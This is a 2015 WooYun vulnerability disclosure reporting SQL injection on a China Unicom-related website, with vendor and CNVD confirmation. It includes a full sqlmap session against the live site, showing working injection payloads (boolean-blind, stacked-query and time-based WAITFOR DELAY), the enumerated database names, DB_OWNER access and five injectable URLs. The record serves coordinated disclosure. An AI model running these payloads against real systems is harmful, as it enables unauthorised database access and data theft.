当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091156

漏洞标题:中国联通某站点多处SQL注入漏洞

相关厂商:中国联通

漏洞作者: #6c6c6c

提交时间:2015-01-12 10:53

修复时间:2015-02-26 10:54

公开时间:2015-02-26 10:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-16: 厂商已经确认,细节仅向厂商公开
2015-01-26: 细节向核心白帽子及相关领域专家公开
2015-02-05: 细节向普通白帽子公开
2015-02-15: 细节向实习白帽子公开
2015-02-26: 细节向公众公开

简要描述:

详细说明:

WooYun: 中国联通某站注入漏洞存在信息泄露风险 影响看这里

注入地址:http://www.ltxyt.com/XYT/DX/Paper/PaperInfo.aspx?id=2084
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:05:53
[01:05:53] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\www.ltxyt.
com\session' as session file
[01:05:53] [INFO] testing connection to the target url
[01:05:55] [INFO] heuristics detected web page charset 'GB2312'
[01:05:55] [INFO] testing if the url is stable, wait a few seconds
[01:05:58] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[01:06:04] [INFO] testing if GET parameter 'id' is dynamic
[01:06:06] [INFO] confirming that GET parameter 'id' is dynamic
[01:06:08] [INFO] GET parameter 'id' is dynamic
[01:06:08] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[01:06:08] [INFO] testing sql injection on GET parameter 'id'
[01:06:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:06:13] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[01:06:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:06:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:06:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:06:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[01:06:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:06:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:06:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:06:59] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase stacked que
ries' injectable
[01:06:59] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:06:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:06:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:07:44] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase time-based
blind' injectable
[01:07:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:07:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 39 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2084 AND 2083=2083
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=2084; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=2084 WAITFOR DELAY '0:0:5'--
---
[01:08:23] [INFO] testing MySQL
[01:08:23] [WARNING] the back-end DBMS is not MySQL
[01:08:23] [INFO] testing Oracle
[01:08:23] [WARNING] the back-end DBMS is not Oracle
[01:08:23] [INFO] testing PostgreSQL
[01:08:23] [WARNING] the back-end DBMS is not PostgreSQL
[01:08:23] [INFO] testing Microsoft SQL Server
[01:08:26] [INFO] confirming Microsoft SQL Server
[01:08:30] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[01:08:30] [INFO] fetching database names
[01:08:30] [INFO] fetching number of databases
[01:08:30] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[01:08:30] [INFO] retrieved: 6
[01:08:48] [INFO] retrieved: JXT
[01:09:50] [INFO] retrieved: master
[01:11:46] [INFO] retrieved: model
[01:13:30] [INFO] retrieved: msdb
[01:15:06] [INFO] retrieved: SKQ
[01:16:08] [INFO] retrieved: tempdb
available databases [6]:
[*] JXT
[*] master
[*] model
[*] msdb
[*] SKQ
[*] tempdb
[01:18:17] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 37 times
[01:18:17] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\www.ltxyt.com'
[*] shutting down at 01:18:17


DB_OWNER权限   用户xyt


http://www.ltxyt.com/XYT/DX/News/NewsInfo.aspx?id=2022
http://www.ltxyt.com/XYT/DX/FAQ/XYTFAQInfo.aspx?id=24
http://www.ltxyt.com/XYT/DX/Paper/PaperInfo.aspx?id=2084
http://www.ltxyt.com/XYT/DX/Default.aspx?typeid=5
http://www.ltxyt.com/XYT/DX/FAQ/FAQInfo.aspx?id=83
5处注入

漏洞证明:

修复方案:

过滤可好?

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-16 11:40

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给河南分中心,由河南分中心后续协调网站管理单位处置。

最新状态:

暂无